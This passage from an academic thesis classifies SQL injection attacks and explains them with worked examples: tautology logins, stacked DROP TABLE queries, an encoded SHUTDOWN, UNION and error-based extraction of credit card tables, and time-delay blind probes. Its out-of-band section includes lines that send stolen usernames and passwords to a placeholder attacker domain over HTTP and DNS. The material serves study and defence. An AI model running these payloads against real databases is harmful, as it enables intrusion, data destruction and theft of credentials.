  20. 20. 2. SQL InjectionSQL Injection attacks related to such an intent are the Tautologies SQLIA, UNION Query. Support-ive techniques represent Inference SQLIA, Illegal/Logically Incorrect Queries and Alternate Encod-ings as well. Executing Remote CommandsAs already proposed, nowadays the Web 2.0 Platform provides diversity in the Web Applications,which should meet the needs of the modern internet user, and motivation for growing complexity inthe software implementations. DBMS products try to cover such aspects, providing sophisticatedand precise functions solving such tasks. Though such a tough competition explains also the factthat the Software implementations are still error prone and they will be, see [28]. Such securityleaks are from great interest for the intruder, which furthermore can allow the exploitation not onlyof the compromised DBMS, but also of the integrated Operating System to it. Important topics hereare user rights exploitation, compromising the usage of particular DBMS stored procedures andfunctions.SQLIA representative therefore are: Stored Procedures SQL Injection attacks, Piggy-Backed Quer-ies and respectively supportive attacking approaches represent the Tautologies, Illegal/Logically In-correct Queries,Inference SQLIA, UNION Queries, Stacked Queries, Alternate Encodings, Com-pounded SQLIA.Lets represent the attacks input source parameter, as proposed in [27]: • Injection through user input • Malicious strings in Web forms • Malicious strings in URLs • Injection through cookies • Modified cookie fields containing injection strings • Injection through server variables • Headers are manipulated to contain attack strings. • Second-order Injection • Frequency-based Primary Application • Frequency-based Secondary Application • Secondary Support Application • Cascaded Submission Application Lets discuss this categorization more detailed. 13
  21. 21. 2. SQL Injection Injection through User InputIt is important here to clarify the fact, that discussing Web Applications, Web Application Security,Web 2.0 Attacks20, we are discussing software problems, concerning software implementations andstandards related to the HTTP protocol regarding Application Layer 7 in the ISO/OSI standard,see [30][31]. There are other supportive protocols as : FTP, HTTP NG, MUX, WebMUX etc.,though the main interface and also environment concerning the Web Software Platform and Prob-lems is represented by the stateless Hypertext Transfer Protocol21. Concerning the related Cli-ent-Server Model there are two ways to apply user input to the server, as already known using GETor POST HTTP requests. Commonly, they are the most widely compromised input sources related to SQL Injection attacksand to other Web 2.0 attacking vectors, fee further explanations and examples. Web applications are designed to handle such user inputs in the same manner as operating withany other common variables, constants and parameters, declared in the source of the Web SoftwareApplication. The intruders are aware of this fact and exploit such sources as further explained in the paper. Injection Through Cookies As already known, HTTP Cookie22 is a technique to apply state information for internet activityon behalf of the stateless HTTP Application Protocol, to extend its functionality. Technically the cookies( we shall use this form, meaning HTTP Cookie further in this paper) areimplemented as files, concerning state information, generated by the Web Application/ Server andstored on the Client Machines of the Internet Users, involved to interact in the Client-Server Model.The Client Application, inducing HTTP communication, typically the Client Web Browser, has con-trol over the cookie and if not explicit restricted utilizes this technique. This represent another inputsource, particular concerning the Client Side of the Web Communication. Furthermore, if a specificWeb application utilizes the cookie content, concerning deployment of SQL query tasks important20 SQLIA should not be considered as pure Web-Application attack, HTTP is not a pre-requirement for successful execution of the attack, though we are concentrating in this thesis only on the SQLIA as a Web 2.0 attacking vector; for examples on SLQLIA scenarios different than Web-Attacks, please refer to [26]21 http://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol22 http://en.wikipedia.org/wiki/HTTP_cookie 14
  22. 22. 2. SQL Injectionfor its DBMS functionality, the attacker can exploit this and follow another effective way to com-promise the Web Application. Injection through Server Variable It is very important to explain here the meaning of the term Server variables. Server variables represent set of system variables concerning HTTP, network headers and envir-onmental variables as well. Such variables typically concern: procedures, applying to logging usagestatistics and to identifying Client Browser( we shall use further just browser in the paper) trends. Keeping in mind that, they represent system variables- mostly used for statistical purposes,which speaks for the usage of these variables- utilisation in all likelihood, is straight-forward ex-ploited by the intruder; furthermore, as a consequence to this fact, the lack of appropriate sanitiza-tion techniques applied to the server variables, make the attackers task to compromise the Web Ap-plication/ DBMS even easier. One attacking scenario to achieve this is to forge the HTTP, or Network headers and to injectSQLIA directly into them. As the forged header is saved as variable value and later evaluated by asystem SQL query the attack consequently will be implemented as well. Second-Order Injection The heretofore described Input Source Injection mechanisms represent First-Order SQL Injectionapproaches. This means that there are no additional layer, between the layer presenting the applyingof the specific SQLIA, or complex of SQLIA techniques and the layer concerning the injection exe-cution and system compromising. Note that Timing SQLIA do not represent explicit Second-OrderInjection attacks, moreover they could be used as supportive attacking methods. Lets describe the Second-Order Injection attacks in detail.The injected code is applied to the compromised DBMS to be executed indirectly later on. The at-tacker does not intent to induce an immediate SQLIA. Instead of that, the attacker uses the fact thatthe compromised system follows specific execution scenario, thats why the intruder utilizes suchattacking technique, because of the knowledge that the system will trigger subsequent the executionof the injected code singularly in all likelihood.As in [32] proposed we can represent the following Second-Order Injection attacks categorization. 15
  23. 23. 2. SQL Injection Frequency-based Primary Application Such Second-Order Injection attacks concern Web Applications utilized for statistical purposes,as collecting and representing top search sites or searched items on the internet for an instance. Frequency-based Secondary Applications These attacks try to compromise Web Applications utilized for gathering information and repres-enting a statistical information tool. Unlike the previous one, these applications do not need to im-plement explicit the injected code, moreover they act as submission applications to already com-promised one. Such submission applications are related to task like reviewing web-requests or eval-uating error logs in statistical aspects, like reviewing the best browser or reviewing the best HIPStool etc. Note that these Second-Order Injection affect mostly system administrators. Secondary Support Applications This Second-Order Injection attacks apply to help-desks and phone support Web Applications.These Applications collect and evaluate data from primary applications trusting their input data tobe already secured and sanitized. Intruders exploit this input source as well. Mostly affected are in-ternal users related to the compromised Web Application. Cascaded Submission Applications The main injection prone input source here are applications, which evaluate multiple client sub-missions within a single processing statement, as Web maps or localization services applications.Frequently the SQL injection applies to compromised search request, as these should be processedlater on by the DBMS system, which represents a backend for the Web service application.An interesting example is proposed by Rafal Los23 in ( page 31, [33]).Now lets illustrate this on another example proposed in [27], concerning users registration Webpage, follows the SQL command sample for password renewal:23 HP security strategist, http://preachsecurity.blogspot.com/ 16
  24. 24. 2. SQL InjectionqueryString=”UPDATE users SET pwd= “ +newpwd + “WHERE uName= ” + uName + “ ANDpwd= ” + oldpwd + “ ” Compromising this, the intruder can achieve exploiting the command as follows:UPDATE users SET pwd=newpwd WHERE uName=admin-- AND pwd=oldpwd Please, consider further reading for understanding the syntax usage and implementation.The reader concerned can find more detailed information on this topic at [32].Finally, lets classify the SQL Injection attacks on the technical aspect, see also [27]: • Classic SQL Injection • Piggy-backed Queries • Tautologies • Alternate Encodings • Inference • Illegal/Logically Incorrect Queries • UNION SQL Injection • Stored Procedures • Out-Of-Band Channeling • Inference SQLIA • Classic Inference SQL Injection • Conditional Responses • Conditional Errors • Blind SQLIA or Timing Attacks • Double Blind SQL Injection( Benchmark/ Time-delay attacks) • Deep Blind SQL Injection( Multiple statements SQLIA) • DBMS specific SQLIA • DB Fingerprinting • DB Mapping • Compounded SQLIA • Fast-Fluxing SQLIAWe shall illustrate and rebuild this specification in the following Table 4: 17
  25. 25. 2. SQL Injection Classification Methods Techniques/ parameters Implementation Identifying injectable parameters Extracting Data see Input type of attacks Intent Adding or Modifying Data Performing Denial of Service Evading detection Bypassing Authentication Executing remote commands Performing privilege escalation Injection through user input Malicious URL: GET- Method strings in Web Input filed(s): POST- Method forms Input Source Injection through cookies Modified cookie fields containing SQLIA Injection through server Headers are manipulated to contain SQLIA variables Second-order injection Frequency-based Primary Application Frequency-based Secondary Application Secondary Support Application Cascaded Submission Application Piggy-Backed Queries Tautologies Classic SQLIA Alternate Encodings Illegal/ Logically Incorrect Queries UNION SQLIAInput type of attacks, Stored Procedures SQLIA technical aspect Out-Of-Band SQLIA Out-Of-Band Channeling Conditional Responses Classic Inference Conditional Errors SQLIA Inference Double Blind SQLIA(Time- Blind SQLIA or delays/ Benchmark attacks) Timing Deep Blind SQLIA ( SQLIA Multiple statements SQLIA) DBMS specific SQLIA DB Fingerprinting DB Mapping Compounded SQLIA Fast-Fluxing SQLIATable 4: Classification of the SQL Injection Web attacking vectorLets represent the given extended specification on behalf of couple interesting examples. 18
  26. 26. 2. SQL Injection2.2.2. SQL Injection attacking techniquesBefore starting with a couple of examples, lets clarify the presentation scenario. We shall discusspredominately SQLIA on the technical aspect, if there are interesting points to the input source sec-tion of the SQLIA classification, or the intent section, we shall give an extra hint at it. In this wayof thoughts we shall use the attacks presentation manner as in [34] already proposed: • Name of SQLIA • attacks intent • attacks description • attacks examples • attacks reference Classic SQLIA( Inband Attacks) Piggy-backed QueriesSuch attacks, concern attackers motivation as: users data extraction, adding and modifying usersdata, DoS attacks, executing remote commands.The name of these SQLIA, adopted from the security term- Piggybacking24, contains the essentialconcept for this attacks scenario:The SQL Injection uses the security flaw, that the SQL server( DBMS) allows strung together quer-ies25, see example [35]:SELECT info FROM user Table WHERE login=’’; DROP TABLE userTable --’ AND pass=’’ AND pin=The reader will notice in recent literature another description name concerning this SQL Injectionattacks: Stacked Queries, or sometimes Batched Queries. This SQLIA is DBMS specific, whichmeans that the execution and exploitation of such attacks is DBMS dependent. For further examplesand extending this topic, please, refer to DB Mapping SQLIA.24 http://en.wikipedia.org/wiki/Piggybacking_%28security%2925 http://en.wikipedia.org/wiki/Sql 19
  27. 27. 2. SQL Injection TautologiesMain motivations, considering the deployment of such attacks are: bypassing authentication, dataextraction and identifying injectable parameters in Web Applications.The unique method presented by these SQLIA is to push the DBMS to process queries, although thelogin data is invalid, this could be achieved by modifying the query in the following manner, in-stead of proper user name the attacker types the following injection code,for example in the input field concerning the password on a Web Site Login form: ’OR 1=1 - -This is equal to the SQL statement, concerning the user admin for example: SELECT info FROM users WHERE login=’admin’ AND pass=’’ OR 1=1 --’AND id=At this point we shall give important clarifications. The writer of this paper is aware of the fact thatmost of the people, working on the field of Web security are aware of these details, though the au-thor wishes to point out these particulars, which are general knowledge and help the better under-standing of the injection code.Lets observe the tautology: ’OR 1=1 - - The role of the apostrophe( quotation mark) is significant here( also see the further examples inthis paper), it closes intentionally the place-holder for the value of the pass variable, see the secondexample, which cheats the SQL server to accept an empty value for the regular password of the useradmin, though the SQL server is processing further the logical expression: OR 1=1, which is validby default. Thus the DBMS grants the requested access. It is also important here to mention the role of the logical operators AND and OR. If the intruder uses an AND in place of OR, this means the first term of the expression must betrue and the second term of the expression must be true, so the query can be processed, this can beused in special cases to justify that the first term is valid for sure. If the intruder uses an OR operat-or, it is not important, whether the first term is true or false, which is actually like guessing, de factothe emphasis of the SQL query is laying on the second term of the expression behind the OR oper-ator, see more at [26]. 20
  28. 28. 2. SQL Injection At last, lets discuss the role of the - -, the two hyphens. In this example its actually related tothe commenting art in DBMS, for example:DBMS commentsMySQL[L19] /* , # , -- -MSSQL[L20] # , --Oracle[L21] --PostgreSQL[L22] --Table 5: DBMS comments This means, that the intruder forces the SQL Server to ignore every expression after the two hy-phens, see next example:SELECT info FROM users WHERE login=’’ OR 1=1 --’ AND pass=’’ AND id= Which means that no matter what password and table id element value are given in this examplethe attack will be processing, because of the : OR 1=1--, expression. Please refer for further information at ( page 550, [28]),( page 14, [29]). How such expressions can be prevented, we shall discuss in the next section. Now lets illustrate SQLIA attacks, concerning evading detection as attackers intent. Alternate Encodings The utilization of this subclass SQLIA can be illustrated on the next example, which the intrudercan type in the input field referring the user name again in a Web Site Login page for an instance, [27]: legalUser’; exec(char(0x73687574646f776e) - - And according to, this the SQL query produces the command line, see [27]:SELECT info FROM userTable WHERE login=’legalUser’; exec(char(0x73687574646f776e) --’ AND pass=’’ AND pin= The alternate encoding SQLIA is represented by the usage of the string: 0x73687574646f776e,which should be interpreted by the SQL server after applying the SQL functions char() and exec()as SHUTDOWN. This leads consequently to the shutting down of the SQL Server and utilizes a 21
  29. 29. 2. SQL InjectionDoS attack on the DBMS. The reader concerned will notice here once again the usage of StackedQueries, which must be read as: after successfully completing the first operation, proceed on thesecond one, thats why, demonstrated in this example, it is required that the intruder must be awareof a legal user name on the DBMS to accomplish the injection. Illegal/ Logically Incorrect Queries This Classic SQLIA utilizes the identifying of injectable parameters on the DBMS, supports DBFingerprinting SQLIA and consequently data extraction from the compromised SQL Server. Lets introduce an example, see further [27]:SELECT accounts FROM users WHERE login= AND pass= AND pin=convert (int, (select top 1 name from sysobjects where xtype=u)) This query construct demonstrates a conditional SELECT statement, whereby the suffix of theWHERE statement is organized as follows: the login variable should be empty AND the passwordvalue should be empty AND the pin value is represented as another query, which is at first glanceconfusing. Lets explain the SQL Basics. Everything concerning SQL can be represented as a queryand everything in a particular query can be transformed in another query, as ( page 55, [26]). Further, the value of the pin variable shall be interpreted as follows. The injection compromises aMSSQL DBMS, exploiting the system table sysobjects. The SQL Server is forced to extract thefirst user table, see the conditional criterion, xtype=u. As next the injection query tries to convertthe result into an integer, but as the result should be a table name, this operation is illegal for theDBMS, thats why the SQL Server throws out an error exception as follows,[27]:“Microsoft OLE DB Provider for SQL Server (0x80040E07) Error converting nvarchar valueCreditCards to a column of data type int.” Lets observe this error message in detail. It states that the SQL server is a MSSQL DBMS andfurther more that, the first user table is CreditCards revealed by the usage of the second SELECTstatement. This illustrates the meaning of the Illegal/ Logically Incorrect Queries SQLIA: on onehand to probe the DBMS, whether it is SQLIA prone, on another to support the further execution ofSQL Injection attacking scenario. Such approaches will be better illustrated in detail in the part ofthis section concerning the DB Mapping SQLIA. Note that, another approach to force the SQLServer to throw out error exceptions and support further deployment of the DBMS compromising is 22
  30. 30. 2. SQL Injectiondescribed in the part regarding the Inference SQLIA, where the reader will find more informationon the topic: Totally/ Completely Blind SQL Injection attacks. Lets introduce another Classic SQLIA representing a way to extract sensitive data and also tobypass Server authentication. UNION QUERY The construct of this attack is organized as follows: prefix as <first SELECT statement>UNIONstatement<second SELECT statement> as suffix. The concatenation element in this construct, UNI-ON statement, is originally defined in SQL to combine two separate SELECT statements. Thoughthis opportunity is exploited by attackers to induce the DBMS to return data from a different table,instead of those one, which is specified by the developer concerning the specific input field in aWeb Application for an instance. Further more, the attacker controls completely the second statement, represented as a UNIONsuffix. As a result the DBMS produces an HTML output dataset, which relies to the prefix and thesuffix of the UNION construct. Lets illustrate this on an example, please refer to [27]:SELECT accounts FROM users WHERE login= UNIONSELECT cardNo from CreditCards WHERE accNo=10032 – AND pass= AND pin= The reader concerned will recognize the revealed user table CreditCards from the previous ex-ample. This illustrates again the supportive usage of Illegal/Logically Incorrect Queries SQLIA asdescribed above. The UNION prefix demonstrates a conditional SELECT statement, which willoutput an empty result, because of the absence of empty user on the DBMS. This is useful for theintruder, because thus the HTML output will represent only the result of the second SELECT state-ment, which compromise and extract user information from the table CreditCards related to ac-count number “10032”, as supposed in this example. For more detailed information, please refer to ( page 550, [28]) and ( page 53, [26]). The next Classic SQLIA concerns another approach to induce DoS attacks on DBMSes, furthermore executing remote commands on the compromised SQL server and to perform privilege escala-tion. 23
  31. 31. 2. SQL Injection Stored Procedures Lets clarify the meaning of the term Stored procedures. As the name reveals, the meaning ofsuch procedures, which come out-of-the-box with the DBMS, assembled as a backend to the WebApplication, is to extend the SQL Server functionality, in terms of better interacting with the WebServer for an instance, it is related to. This is a standard set of functions ready for use and stored inthe specific DBMS. This is not an accurate declaration, because a procedure can return one result,more than one, or may not return any result, as distinct from that a function is obliged to return aresult. This could be used by the attacker to achieve DoS attacks on the compromised SQL Server andexecute remote commands as well. Note, that some sources motivate developers to use Stored Procedures stating they are not proneto SQLIA. Lets illustrate the opposite on an example, see original sample code at [28]:CREATE PROCEDURE searchuser @criterion varchar(400) = NULLASDECLARE @query nvarchar(4000)SET @query = SELECT id, name, password FROM users WHERE name LIKE + @criterion + EXEC (@query) This example illustrates an MSSQL DBMS realted Stored Procedure. Lets demonstrate the compromising of such a construct, modified from the sample at [28]:SELECT id, firstname, familyname, birthdate FROM searchuserWHERE familyname LIKE 1 OR 1 = 1 -- The reader can easily recognize the Tautology SQLIA technique implemented in the Stored Pro-cedure attack. Furthermore this injection could be altered to meet an command execution intent aswell, from [28]:SELECT id, firstname, familyname, birthdate FROM searchuserWHERE familyname LIKE 1 OR 1 = 1; DROP TABLE searchuser-- This example demonstrates the usage of a Tautology SQLIA, combined witch a Stacked Queryin the construct of Stored Procedures SQLIA. Note that the Stacked Query is working because ofthe MSSQL DBMS. The interested reader can learn more about Running OS Commands using SQLIA at ( page 115, 24
  32. 32. 2. SQL Injection[26]); File System Access at ( page 103, [26]) and in general on Stored Procedures SQL InjectionAttacks at ( page 544, [28]) and [27]. The following SQLIA subclass is another approach to extract sensitive data from DBMS andidentify injectable parameters, furthermore it will illustrate scenarios, concerning attackers intent,which isnt discussed heretofore- determining the art of drilling sensitive data out of the comprom-ised DBMS. It is important here to mention, that there is also another criterion the SQLIA should be classi-fied into ,regarding the Data-Mining26 aspect of SQL Injection attacks, see [36][37]: • inband SQLIA, • out-of-band SQLIA and • inference SQLIA Most of the attacks in the classification given above, see Table 4, are inband attacks, whichmeans that the intruder and victim are using the same channel. On the contrary, there are SQL injec-tion attacks, which are classified as out-of-band Channeling SQLIA.Out-Of-Band Channeling( OOB Channeling SQLIA)This is the second sub2class of SQL Injection attacks beside the formerly introduced Classic InbandSQLIA and the Inference SQL Injection attacks, which shall be discussed straight after the OOB at-tack. In addition to this, the Out-Of-Band SQLIA describes another method, in some cases more ef-fective, for drilling data between the intruder and the victim, see [36][37].Lets illustrate this on some examples, refer to [28]:UTL_HTTP.REQUEST(http://www.attacker.com/log.php?data= ||(SELECT name || : || password FROM users WHERE rownum < 2))We introduce here the Oracle package UTL_HTTP and in this example the function REQUEST,which allows us to send HTTP request using an SQL statement and further more send the SQLquery data directly to a specific URL. As a result the intruder can generate the following HTTP-GET-Request, see [28]:http://www.attacker.com/log.php?data=Rainers:pass123It is obvious how easy such data can be further manipulated.26 http://en.wikipedia.org/wiki/Data-mining 25
  33. 33. 2. SQL InjectionMoreover this method can be used for starting further injection attacks using the compromisedDBMS server as a proxy for SQLIA.Another example for Out-Of-Band SQLIA is the use of the OPENROWSET function. Such attackis still working, as [28], in older MSSQL DBMS versions:INSERT INTO OPENROWSET(SQLOLEDB, uid=Reiners; pwd=pass123; Network=DBMSSOCN; Address=database.intruder.de,80, SELECT * FROM users)SELECT * FROM usersAs we can see, the intruder is using the first INSERT statement to storage the data on his own serv-er; the second SELECT statement after the INSERT statement defines, where to copy the data from.The last interesting example for Out-Of-Band Channeling SQLIA, described in this paper, is pro-posed by Patrik Karlsson on DefCon27 15, 2007[L40][40].1 UNION SELECT UTL_INADDR.get_host_address((SELECT lower(password) FROM users WHERE rownum < 2) ||.attacker.com),null FROM dualThe goal of this injection is to drill data over DNS 28. The compromised data from the DBMS iswrapped up in a form of a Subdomain, which sends a DNS Request to the attackers Domain fur-ther:pass123.attacker.comAfter all, such Domain name construct can be easily evaluated for extracting the valuable stolen in-formation. To avoid out-of-range issues, concerning the length of a such construct, the intruder cansimulate more than one event for building more than one Subdomain and thus very skilful send theimportant information in pieces to his own Domain.The more concerning the issue regarding such attacks is, DNS-Requests are difficult to be filteredand blocked by Firewalls/ Web Application Firewalls 29( WAFs) as default. The WAFs will be men-tioned further in the next section, SQL Injection prevention trends and methods.The OOB Channeling attack is well suitable to obtain reasonable amount of information from the27 http://en.wikipedia.org/wiki/DEF_CON , http://www.defcon.org/28 http://en.wikipedia.org/wiki/Domain_Name_System29 http://de.wikipedia.org/wiki/Web_Application_Firewall 26
  34. 34. 2. SQL Injectionprone DBMS with less request( or better per request), which is very useful, concerning a successfulattacking scenario, see [L40] and [40], though such kind of attacking technique could not be con-sidered as efficient after all[L46].Another approach for obtaining information on behalf of optimisation in the amount of DB requestsshall be discussed later on in the paper, concerning the Deep Blind SQL Injection attacks.Both of the attacks: OOB Channeling SQLIA and Deep Blind SQLIA, represent methods fordrilling data with less requests, though they are quite different in their execution scenario. For ob-taining more information on Deep Blind SQLIA, please consider further reading of the paper.Additional information regarding Out-Of-Band Channeling SQLIA could be found also at ( page542, [28]). Now lets illustrate the Inference SQLIA subclass hierarchy on some examples. Inference SQLIA As a requirement for the deployment of such attacking method is the fact that describes an at-tacking environment well hardened and restricted for error reporting. Thus the attacker is forced,due to the lack of immediate feedback, to guess the different parameters of the DBMS, which hetries to exploit. There are a couple of strategies, which the intruder can apply in the matter of suc-cessful deploying of this subclass of SQLIA. We shall mention only some of them and give references on further examples.Halfond and colleagues categorize this SQLIA subclass in the following sub2classes: Blind SQL In-jection attacks and Timing-Attacks. We shall reclassify this categorization as follows. We shalldefine the sub2class of Classic Inference SQLIA attacks, where further we shall group the two sub-3classes: Conditional Responses and Conditional Errors. As another sub2class of the InferenceSQLIA, we shall introduce the Blind SQLIA or Timing Attacks. As sub3classes we specify theBenchmark SQLIA or Time-Delay SQLIA( Double Blind SQLIA[38][39], the name is originallyintroduced by Mr. Dmitri Evteev30) and Deep Blind SQLIA, as newest aspect of the SQLIA vectorintroduced in 2009[40].As an Attack Intent of the Inference SQLIA we shall mention: Identifying injectable parameters,Extracting data, Determining database schema; see [27].30 Dmitry Evteev (Positive Technologies)Web Application Security Consortium (WASC) Contributor [L24] 27
  35. 35. 2. SQL Injection Classic Inference SQLIA Conditional responsesWe shall observe the following two queries, see[27]:SELECT accounts FROM users WHERE login=’legalUser’and 1=0 -- ’ AND pass=’’ AND pin=0 The SELECT statement is specified by the condition WHERE, so the query will return, if prop-erly implemented, all accounts entries from the table users with the conditional parameters: name ofthe user, respective his password and pin with value 0. Observing the injection conditional parameter and 1=0 -- , we consider that it shall return anerror message, because it is false as default. Further more the additional parameters are commentedand the query is forced to close by the injection intentional apostrophe( see above marked in grey). We observe the following scenarios: if the DBMS is working properly, it will return an error re-sponse, because of the condition 1=0, which is false by default; in the opposite case, DBMS is notworking properly- it is SQLIA prone; the DBMS, exposed to such Blind SQLIA, will return also anerror message. The intruder cannot anticipate, at this stage of the attack, whether the DBMS isprone to the attack or not. Thats why the attacker performs the second query with the condition and 1=1 - - , which is true by default. Though, if the application works properly, it will re-spond with another error message , because the conditions login=’legalUser’ and 1=1 -- ’ are notadequate, if the DBMS is SQLIA prone it shall return instead of an expected error message thequery result. For more information on this attack, please refer to ( page 537, [28]). Conditional ErrorsAnother Description name of this SQLIA sub3class is Totally Blind SQL Injections, see [28]. Theintruder experiences difficulties for injecting code in to the victim DBMS, because of the lack ofquery result, so the intruder will work in a word totally blind.Useful technique that come in help is the CASE WHEN- condition, see [28]: 28
  36. 36. 2. SQL InjectionSELECT ( CASE WHEN 1=1 THEN 1 ELSE 0 END)SELECT ( CASE WHEN 1=2 THEN 1 ELSE 0 END)The second SELECT statement represents the case as the result is obvious Null; some databaseslike Oracle, PostgreSQL and previous versions of MSSQL will return an error message, if there is adivision by zero, as we use the result of the second SELECT statement further in a such mathemat-ical operation.Lets extend this case study [28]:1 UNION SELECT (CASE WHEN (substr(user, 1, 1)=r THEN CAST( 1/0 AS char) ELSE falseEND), null -- The Motivation in this injection is to guess the first letter in the users name. If the guess is luckythen the DBMS is forced to do a division by zero, which shall throw out the error message and itwill be a proof for a working injection, in the other case the false- message will appear. The use of the UNION for executing the second SELECT statement is important here, more onthe UNION statement in the UNION SQLIA part in this section. If the DBMS is a MSSQL Server 2005 or a MySQL 5 and above, the division by zero will be aworthless try, thats why the intruder must refine the injection as follows [28]:1 UNION SELECT (CASE WHEN (substr(user, 1, 1)=r THEN CAST( 1/0 AS char) ELSE falseEND), null –/* in to */1 UNION SELECT (CASE WHEN (substr(user, 1, 1)=r THEN (SELECT table_name FROMinformation_schema.tables) ELSE false END), null –The CAST statement is replaced by (SELECT table_name FROMinformation_schema.tables), which will force the DBMS to throw an error message, because it can-not be SELECT- ed after THEN statement. Please, refer further to ( page 538, [28]).Blind SQLIA or Timing attacks( Timing SQLIA)Double Blind SQL Injection or Time-Delay SQLIA/ Benchmark SQLIA Another interesting sub2class of Inference SQL Injection attacks represent the Blind SQLIA orTiming SQLIA. As already mentioned, the name of this sub2class, concerning the attacks classific- 29
  37. 37. 2. SQL Injectionation proposed in this section, is adopted from Dmitri Evteevs SQLIA categorization[38][39]. Among the Classic Inference SQL Injection attacking techniques we have already introduced theTotally Blind SQLIA and the Conditional Responses, though there are cases, which do not respondto these Inference SQLIA techniques at all. In such cases, we shall call the working scenarios completely blind [41], because of the lack ofany kind of error messages on the servers part and the fact that the attacker cannot indicate anyvisual responses about such error messages from DBMS, thus the intruder needs another method tocompromise information on the victims SQL System. The attacker uses separate functions concern-ing the DBMS, which execution could be time consuming. Lets introduce first the Benchmark SQL Injection attacks or Time-Delay SQLIA sub3class. Ifthe DBMS is responding to such attacks, it will respond to the intruders query with a time delay, inother case the System will proceed working properly. Observing such intentional time delays on the DBMS the attacker can decide whether the attack-ing technique is applicable or not and how to proceed with the attack execution scenario. Such separate RDMBS functions are waitfor delay and benchmark; pg_sleep referable to Post-greSQL, but the DBMS_LOCK.SLEEP, which intent is originally concerning time-delays ofDBMS, that cannot be applied in Time-Delay SQLIA. Lets illustrate all this on some examples.1 UNION SELECT (CASE WHEN (substr(version (), 1, 1) = 4) THEN benchmark(500000,md5(test)) ELSE false END) , null In this example, see [28], the intruder use UNION SQLIA technique to apply the second 31 SE-LECT statement. The statement is build on CASE WHEN construct- if the injection string (substr(version (), 1, 1) = 4) can apply to the DBMS then execute thebenchmark( 500000,md5(test)), which will cause the system to hash 5.10 5 -times the string testand thus induce a time-delay. Lets give another example illustrating the use of Stacked queries and waitfor delay particularfunction, refer to [28]:1; IF (substring(current_user,1,1=r) waitfor delay 0:0:5 In this example is used IF ELSE construct, which is used for constructing the condition on guess-31 In this and other examples the reader will notice a construct like 1 UNION SELECT, 1 is meant for the first regular SELECT statement as a UNION prefix and the second SELECT statement carries the injection code, which is actually the second SELECT statement as a UNION suffix in the given SQL query 30
  38. 38. 2. SQL Injectioning the first letter of the users name, if the hit is true then the injection will force the DBMS to waitfor a time interval of 5 seconds. The intruder can carry on in this manner and guess the whole usersname and so on. The last example concerning the Inference Timing attacks will illustrate the use of the particularPostgreSQL function pg_sleep, see [28]:1 UNION SELECT (CASE WHEN (substr(user,1,1) = R) THEN CAST( pg_sleep(5) as CHAR)ELSE false END) , null -- or the same injection can be produced in independent SQL-syntax, using Stacked queries, see [28]:1 ; SELECT (CASE WHEN (substr(user,1,1) = R)THEN pg_sleep(5)ELSE false END) -- For the reader concerned, please refer further to ( page 540, [28])[27]( page 102, [26]). The attentive reader can state that such Inference attacking techniques of Completely BlindSQLIA can produce many requests by the server, which can be easily detected by the concernedsystem administrator, or IDS and is also time consuming as an algorithm, which cannot consider arapid feedback to the intruder, [L46]. Further, knowing that, the OOB Channeling SQLIA canachieve very efficient data drilling, brings more confusion on the topic, whether such CompletelyBlind Techniques are reasonable, concerning the Performance aspect of the attacks deployment atall. This lead us in our discussion on the Inference SQLIA to the observation of the second repres-entative of the Timing SQLIA and the last sub3class of Inference SQL Injection attacks in the pro-posed classification in this section. Deep Blind SQL Injection Attacks The attacking technique is proposed by Ferruh Mavituna 32 in 2008 [L26]. This sub3class ofSQLIA updates the SQL Injection classification given by Halfond et al., 2006, in the following as-pect- the attack demonstrates an optimized method for automated inducing time-delays on the vic-tims server, using multiple statements injection, which extends the already known Inference SQLIAtechniques. Lets take a closer look at this attack.32 OWASP, SecurityFocus conributor, http://labs.portcullis.co.uk/tag/mainpage/ 31
  39. 39. 2. SQL Injection In the discussion on the Time-delays SQLIA we introduce the particular functions for extractingsensitive data from the victims DBMS and the conditional constructs concerning their usage 33, letssummarize the attacking scenario, see [41]: • the data is read bit by bit, see examples above • the main algorithm, applied, is binary search with character patterns Regarding the Client-Server model, the limitation is: one request- one response, see [41], and the average effort for extracting each character is approx. six requests to the victims server.Ferruh Mavituna finds a way to reduce this effort with a 66%, concerning the number of the re-quests to the server, by minimizing their average amount from 6 to 2 requests. The author of theDeep Blind SQLIA states that the algorithm is proven on MSSQL DBMS and could also work onother relational Database Management Systems, as [L25][42], there are templates for all mainDBMSes: Oracle, MySQL, MSSQL, PostgreSQL and also for the non-relational DBMS MS AC-CESS, concerning the related tool, which implements Deep Blind SQLIA: BSQL Hacker, [L25]. The main feature in this attacking technique is to retrieve more than one response per request.We can describe this as a multiple statements SQLIA, which represents a new tendency in the SQLInjection attacking manner. Most of the tools concerning SQL Injection attacks cannot implementstill this technique, see further in section 2.4. Lets describe the scenario of this new attacking method more detailed. The intruder tries to guess a character byte-wise. Lets say the first half byte of this character is 6,using the Deep Blind SQLIA the server is forced in this case to wait for 12 seconds. Regarding theguessing of the second half byte, if it is a 1, the server will wait for 2 seconds. By a reasonable log -ging of this attacking results and dividing the response times by two concerning this particular ex-ample, the attacker can gain the actual values of the character half bytes and thus construct the firstletter of the string, 0x61- this is corresponding to an a-character. This character extraction isachieved in 2 server responses. Now lets unveil the limitations of this attacking technique: • the algorithm is clearly not suitable for manual attacks • the attacking method is unstable in slow connection environments or environments with un- predictable server response times • for stability of the results, should be required timeouts approx. 60 seconds, which is longer than the timeouts for a normal client-server environment3433 In the mean of the usage of the demonstrated particular DBMS functions34 By default most of the database connection layers and execution of server-side scripts have timeout limits of 30 32
